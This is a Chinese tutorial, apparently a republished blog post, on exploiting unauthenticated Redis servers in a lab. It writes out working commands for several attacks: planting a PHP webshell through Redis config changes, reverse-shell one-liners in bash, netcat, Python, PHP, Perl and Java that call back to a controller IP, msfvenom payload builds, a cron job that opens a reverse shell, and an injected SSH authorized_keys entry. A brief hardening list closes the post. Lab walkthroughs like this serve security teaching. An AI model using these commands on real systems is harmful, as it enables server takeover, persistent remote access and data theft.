02-Redis未授权访问漏洞

news2024/11/26 23:45:15

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

本文为超全超详细的Redis未授权访问漏洞详谈。

1、Redis常见用途

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

Redis常用数据类型:

  1. String:字符和整型
  2. Hash:哈希表
  3. List:有序数组
  4. Set:无序集合
  5. ZSet:有序集合

2、环境安装

使用到的环境及工具有:
1、kali
2、两台redis
3、蚁剑
Redis安装在网上有很多讲述,这里就不赘述了。
这里需要两台redis(一台redis-client,一台redis-server。使用的是centos7)。
重要的是更改redis.conf配置

vim小技巧:快速查找可以输入/然后打上要找的指令。例如:/daemonize no

  1. 窗口一关服务就挂了,所以改这样改:
 daemonize no  改为daemonize yes
  1. 取消IP绑定bind, 默认的是:bind 127.0.0.1 。要前面加个#号
# bind 127.0.0.1
  1. 开放6379端口或者关闭防火墙
systemctl status firewalld #检查防火墙状态
systemctl stop firewalld.service    #关闭防火墙
systemctl disable firewalld.service    #禁止开机启动
  1. 不需要密码(默认)requirepass yourpasswd 把这一行注释掉
# requirepass yourpasswd

3、Redis持久化机制

把内存的信息,不定时的存入到硬盘内。有两种保存机制

  1. RDB Redis DataBase (默认)
  2. AOF Append Only File

配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
运维管理员手动触发保存命令:save / bgsave

4、Redis动态修改配置

config set:动态修改配置,重启以后失效

这里是搭建了一个小皮面板。

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

然后下面操作把配置地址修改到/www/admin/localhost_80/wwwroot下。然后改了名称

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aaa bbb
save

在这里插入图片描述

// 这里的conn是我通过alias写的快捷连接命令。
在这里插入图片描述

去文件下查看是否成功并写入命令
在这里插入图片描述
在这里插入图片描述

这里我们就成功了。这里说明我们可以通过修改redis的配置文件的目录及名称并往其中写入php脚本比如一句话木马。这就可以做很多事了。

5、利用Redis实现攻击

5.1、webshell提权

我们先清空redis.php里的内容

flushall
save

在这里插入图片描述
写入我们的一句话木马,前面的x也就是key无关紧要

set x "<?php @eval($_POST[sydm]); ?>"

在这里插入图片描述
写入成功
在这里插入图片描述
使用蚁剑连接测试一下,成功上线
在这里插入图片描述
在这里插入图片描述

5.2、bash反弹连接提权


这里就要提一下,什么时候要用到反弹连接

  1. 内网,私有IP
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
    正常连接是。我们控制机去连接靶机。
    反弹连接是。让靶机来自动连接我们控制机

5.2.1、反弹连接的实现

要解决两个问题

  1. 控制机怎么监听一个端口?
    三种监听方式

    1.netcat

    nc -lvp 7777
    

    2.msf

    msfconsole
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.110.5
    set lport 7777
    run
    

    3.socat(kali)

    socat TCP-LISTEN:7777 - 
    
  2. 靶机怎么连接到控制机的端口?
    常见的连接方式有以下几种

    1. Linux bash
    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    
    1. netcat
    nc -e /bin/bash 192.168.110.14 7777
    
    1. Python
    python -c "importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.110.14',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    1. PHP
    php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'php -r '$sock=fsockopen("192.168.110.14",7777);exec("/bin/bash -i<&3 >&3 2>&3");'
    
    1. Java
    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/7777;cat<&5 |while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
    
    1. perl
    perl -e ' useSocket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    1. msf-PHP
    msfvenom -p php/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -o shell.php
    
    1. msf-Java
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f war -o shell.war 
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f jar -o shell.jar
    
    1. msf-exe
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.14 lport=7777 -i 5 -f exe -o test.exe
    

还有很多连接方法,根据不同环境进行操作。(其实很多都是基于bash连接的)

5.2.2、netcat实际操作

  1. 先在redis-client开启监听

    nc -lvp 7777
    

    在这里插入图片描述

  2. 接着在服务端输入连接口令(注意,这里的ip是我们控制机的ip)

    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    

    在这里插入图片描述

这时候客户端就有消息提示连接了,测试一下。客户端输入的指令,是不是在服务端运行。输入ifconfig。我们这台客户端ip是110.14,服务端ip是110.15.

在这里插入图片描述
连接成功。

5.2.3、socat实际操作

socat是在kali上运行的。

  1. 在kali上开启监控7777端口
		socat TCP-LISTEN:7777 - 

在这里插入图片描述

  1. 在redis-server上连接kali的ip.(kali的ip为110.5)
	bash -i >& /dev/tcp/192.168.110.5/7777 0>&1

在这里插入图片描述

kali上冒泡了,连接成功

在这里插入图片描述

5.2.4、msf-exe实际操作

  1. 生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.5 lport=7777 -i 5 -f exe -o test.exe

在这里插入图片描述

  1. 把文件先取出来
sz file test.exe

在这里插入图片描述

  1. 放在我们要监听的windows(ip:110.6)虚拟机上,并双击执行

在这里插入图片描述

  1. 在kali上设置监听
	msfconsole
	use exploit/multi/handler
	set payload windows/meterpreter/reverse_tcp
	set lhost 192.168.110.5
	set lport 7777
	exploit

在这里插入图片描述

  1. 连接成功后,可以执行一系列命令meterpreter可以执行很多操作
#查看本机信息
sysinfo
#截图
screenshot
#进入windows命令
shell
#查看本机ip
ipconfig

在这里插入图片描述


5.2.5、反弹连接总结

详谈一下

bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
#打开一个交互式的bash终端
bash -i
#将标准错误输入合并到标准输出轴
>&
#与远程机器(也就是我们的控制机)建立一个socket连接
/dev/tcp/192.168.110.5/7777
#将标准输入重定向到标准输出中
0>&1

这也就是为什么我们在控制机上输入的内容会在靶机上执行,然后结果反弹回控制机上

流程:

  1. 监听端口
  2. 执行命令,或者上传payload访问,建立连接

怎么上传?

  1. 文件上传漏洞
  2. 写入文件:MySQL、Redis、CMS
  3. 文件编辑命令:tee、test.py

怎么执行?

  1. 访问
  2. 定时任务自动触发

5.3、定时任务

cron表达式
这边可以用在线工具生成,也有说明
地址:https://www.pppet.net/

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务
crontab -u root -l列举某个用户的任务
crontab -u root -e编辑某个用户的任务

cron文件存储路径

#这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/var/spool/cron 
#放的是对应周期的任务dalily、hourly 、monthly、weekly
/etc/crontab 

5.3.1、通过定时任务建立反弹连接

  1. 在redis服务器上启动redis服务,并输入netstat -an|preg 6379。查看是否启动成功
    在这里插入图片描述
  2. redis客户端启动监听端口
nc -lvp 7777

在这里插入图片描述

  1. 另起一台redis客户端连接服务器并写入反弹命令
# 这里面的*****代表的是每分钟执行一次
#\n是为了和其他数据换行
set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.14/7777 0>&1\n" 

#要把这个写入到/var/spool/cron/下
config set dir /var/spool/cron/

#这里要用root用户
config set dbfilename root

#最后保存
save

在这里插入图片描述

这里我们可以去服务器下验证一下,看文件是否存在内容有没有写入
在这里插入图片描述

4.连接成功
过一会就连接上了
在这里插入图片描述
这里就可以用wget等等就做一些事了

5.4、SSH key免密登陆

5.4.1、ssh key简述

5.4.2、使用ssh key进行免密登陆

  1. 生成ssh-key,其他内容直接回车就行
shh-keygen
  1. 查看一下在.ssh下,有两个文件了。pub就是公钥,另一个就是私钥了

在这里插入图片描述

  1. 将公钥发送到服务器
ssh-copy-id root@192.168.110.15

在这里插入图片描述
我们在服务器就可以查看到传输了
在这里插入图片描述
同时这个authorized_keys的内容也就是这一串字符,这说明了什么,我们同样可以使用redis写入,达到把公钥放在靶机上。

  1. 这时候服务端就有我们的公钥了,就可以进行免密登陆
# 注意这个要在.ssh目录下才能使用到这个密钥
ssh -i ./id_rsa root@192.168.110.15

登陆成功
在这里插入图片描述

5.4.3、通过redis完成

  1. 先进行redis连接,先写入一些换行符
conn
set sshkey "\n\n\n----\n\n\n"

在这里插入图片描述

  1. 再开一台client,把公钥拿到
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain

在这里插入图片描述

  1. 清空内容再写入我们的公钥
flushall
set sshkey "/n/n/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain/n/n/n"
save

在这里插入图片描述

  1. 修改文件路径及文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save

在这里插入图片描述

  1. 连接成功

在这里插入图片描述

5.4.4、总结

  1. 控制机连接到Redis
  2. 向$HOME/.ssh/authorized_keys写入公钥
  3. ssh -i ./id_rsa user@IP 使用私钥免密登录(这里的user代表角色可以用root,IP为靶机ip)
  4. 执行后续操作

redis还有其他提权操作:

  1. 基于主从复制的RCE(Remote Code Execution)
  2. jackson 反序列化利用
  3. lua RCE
  4. Structured Query Language
  5. Redis密码爆破

8、Redis加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

9、一些问题总结

  1. 怎么知道有这个根目录把redis配置文件写在这下面
    这一般是通过目录扫描等方法得到的,并且80端口是否有开放这些都是信息收集得到的。这个只是其中一种提权手段
  2. 在使用redis写入sshkey时,后面连接还是需要输入密码。这个在写入的时候前面加两个换行符就可以避免/n/n

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1929779.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Windows】Microsoft PC Manager

使用 Microsoft PC Manager&#xff0c;用户可以轻松执行基本的计算机维护&#xff0c;并通过一键操作提升设备速度。这款应用程序提供了一系列功能&#xff0c;包括磁盘清理、启动应用管理、病毒扫描、Windows 更新检查、进程监控和存储管理。 Microsoft PC Manager 的关键特…

React学习笔记03-----手动创建和运行

一、项目创建与运行【手动】 react-scripts集成了webpack、bable、提供测试服务器 1.目录结构 public是静态目录&#xff0c;提供可以供外部直接访问的文件&#xff0c;存放不需要webpack打包的文件&#xff0c;比如静态图片、CSS、JS src存放源码 &#xff08;1&#xff09…

xss复习总结及ctfshow做题总结xss

xss复习总结 知识点 1.XSS 漏洞简介 ​ XSS又叫CSS&#xff08;Cross Site Script&#xff09;跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的Script代码会被执行&#xff0c;从而达到恶意攻击用户的…

ASF平台

最近一直在研究滑坡&#xff0c;但是insar数据处理很麻烦&#xff0c;自己手动处理gamma有很慢&#xff0c;而且据师兄说&#xff0c;gamma处理还很看经验&#xff0c;我就又去看了很多python库和其他工具: isce mintpy pyint 也使用了asf上面的处理产品&#xff0c;虽然也…

H. Beppa and SwerChat【双指针】

思路分析&#xff1a;运用双指针从后往前扫一遍&#xff0c;两次分别记作数组a&#xff0c;b&#xff0c;分别使用双指针i和j来扫&#xff0c;如果一样就往前&#xff0c;如果不一样&#xff0c;i–,ans #include<iostream> #include<cstring> #include<string…

C#绘制含流动块的管道

1&#xff0c;效果。 2&#xff0c;绘制技巧。 1&#xff0c;流动块的实质是使用Pen的自定义DashStyle绘制的线&#xff0c;并使用线的偏移值呈现出流动的效果。 Pen barPen new Pen(BarColor, BarHeight);barPen.DashStyle DashStyle.Custom;barPen.DashOffset startOffse…

解读InnoDB数据库索引页与数据行的紧密关联

目录 一、快速走进索引页结构 &#xff08;一&#xff09;整体展示说明 &#xff08;二&#xff09;内容说明 File Header&#xff08;文件头部&#xff09; Page Header&#xff08;页面头部&#xff09; Infimum Supremum&#xff08;最小记录和最大记录&#xff09; …

太速科技-FMC207-基于FMC 两路QSFP+光纤收发子卡

FMC207-基于FMC 两路QSFP光纤收发子卡 一、板卡概述 本卡是一个FPGA夹层卡&#xff08;FMC&#xff09;模块&#xff0c;可提供高达2个QSFP / QSFP 模块接口&#xff0c;直接插入千兆位级收发器&#xff08;MGT&#xff09;的赛灵思FPGA。支持利用Spartan-6、Virtex-6、Kin…

Webpack看这篇就够了

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…

java.sql.SQLException: Unknown system variable ‘query_cache_size‘【Pyspark】

1、问题描述 学习SparkSql中&#xff0c;将spark中dataframe数据结构保存为jdbc的格式并提交到本地的mysql中&#xff0c;相关代码见文章末尾。 运行代码时报出相关配置文件错误&#xff0c;如下。 根据该报错&#xff0c;发现网络上多数解决方都是基于java开发的解决方案&a…

GPT-4从0到1搭建一个Agent简介

GPT-4从0到1搭建一个Agent简介 1. 引言 在人工智能领域&#xff0c;Agent是一种能够感知环境并采取行动以实现特定目标的系统。本文将简单介绍如何基于GPT-4搭建一个Agent。 2. Agent的基本原理 Agent的核心是感知-行动循环&#xff08;Perception-Action Loop&#xff09;…

【Windows】系统盘空间不足?WizTree 和 DISM++ 来帮忙

当您的系统盘空间接近饱和时&#xff0c;了解硬盘空间的使用情况变得尤为重要。在这种情况下&#xff0c;您可以利用 Windows 内置的存储使用工具来快速查看哪些文件和应用程序占用了大量空间&#xff0c;并采取相应措施进行清理。此外&#xff0c;第三方工具如 WizTree 可以提…

Java NIO合并多个文件

NIO API java.nio (Java Platform SE 8 ) 直接上代码 package com.phil.aoplog.util;import lombok.extern.slf4j.Slf4j;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.nio.channels.FileChannel;Slf4j public…

勒索防御第一关 亚信安全AE防毒墙全面升级 勒索检出率提升150%

亚信安全信舷AE高性能防毒墙完成能力升级&#xff0c;全面完善勒索边界“全生命周期”防御体系&#xff0c;筑造边界勒索防御第一关&#xff01; 勒索之殇&#xff0c;银狐当先 当前勒索病毒卷携着AI技术&#xff0c;融合“数字化”的运营模式&#xff0c;形成了肆虐全球的网…

数据结构进阶:使用链表实现栈和队列详解与示例(C, C#, C++)

文章目录 1、 栈与队列简介栈&#xff08;Stack&#xff09;队列&#xff08;Queue&#xff09; 2、使用链表实现栈C语言实现C#语言实现C语言实现 3、使用链表实现队列C语言实现C#语言实现C语言实现 4、链表实现栈和队列的性能分析时间复杂度空间复杂度性能特点与其他实现的比较…

VBA学习(21):遍历文件夹(和子文件夹)中的文件

很多时候&#xff0c;我们都想要遍历文件夹中的每个文件&#xff0c;例如在工作表中列出所有文件名、对每个文件进行修改。VBA给我们提供了一些方式&#xff1a;&#xff08;1&#xff09;Dir函数&#xff1b;&#xff08;2&#xff09;File System Object。 使用Dir函数 Dir…

31.RAM-IP核的配置、调用、仿真全流程

&#xff08;1&#xff09;RAM IP核简介 RAM是随机存取存储器&#xff08;Random Access Memory&#xff09;的简称&#xff0c;是一个易失性存储器&#xff0c;其工作时可以随时对任何一个指定地址写入或读出数据。&#xff08;掉电数据丢失&#xff09; &#xff08;2&#…

Spring Cloud Gateway 入门与实战

一、网关 在微服务框架中&#xff0c;网关是一个提供统一访问地址的组件&#xff0c;它充当了客户端和内部微服务之间的中介。网关主要负责流量路由和转发&#xff0c;将外部请求引导到相应的微服务实例上&#xff0c;同时提供一些功能&#xff0c;如身份认证、授权、限流、监…

【企业级监控】Zabbix监控MySQL主从复制

Zabbix自定义监控项与触发器 文章目录 Zabbix自定义监控项与触发器资源列表基础环境前言四、监控MySQL主从复制4.1、部署mysql主从复制4.1.1、在两台主机&#xff08;102和103上安装&#xff09;4.1.2、主机102当master4.1.3、主机103当slave 4.2、MySQL-slave端开启自定义Key值…

JMeter案例分享:通过数据验证的错误,说说CSV数据文件设置中的线程共享模式

前言 用过JMeter参数化的小伙伴&#xff0c;想必对CSV Data Set Config非常熟悉。大家平时更关注变量名称&#xff0c;是否忽略首行等参数&#xff0c;其余的一般都使用默认值。然而我最近遇到一个未按照我的预想读取数据的案例&#xff0c;原因就出在最后一个参数“线程共享模…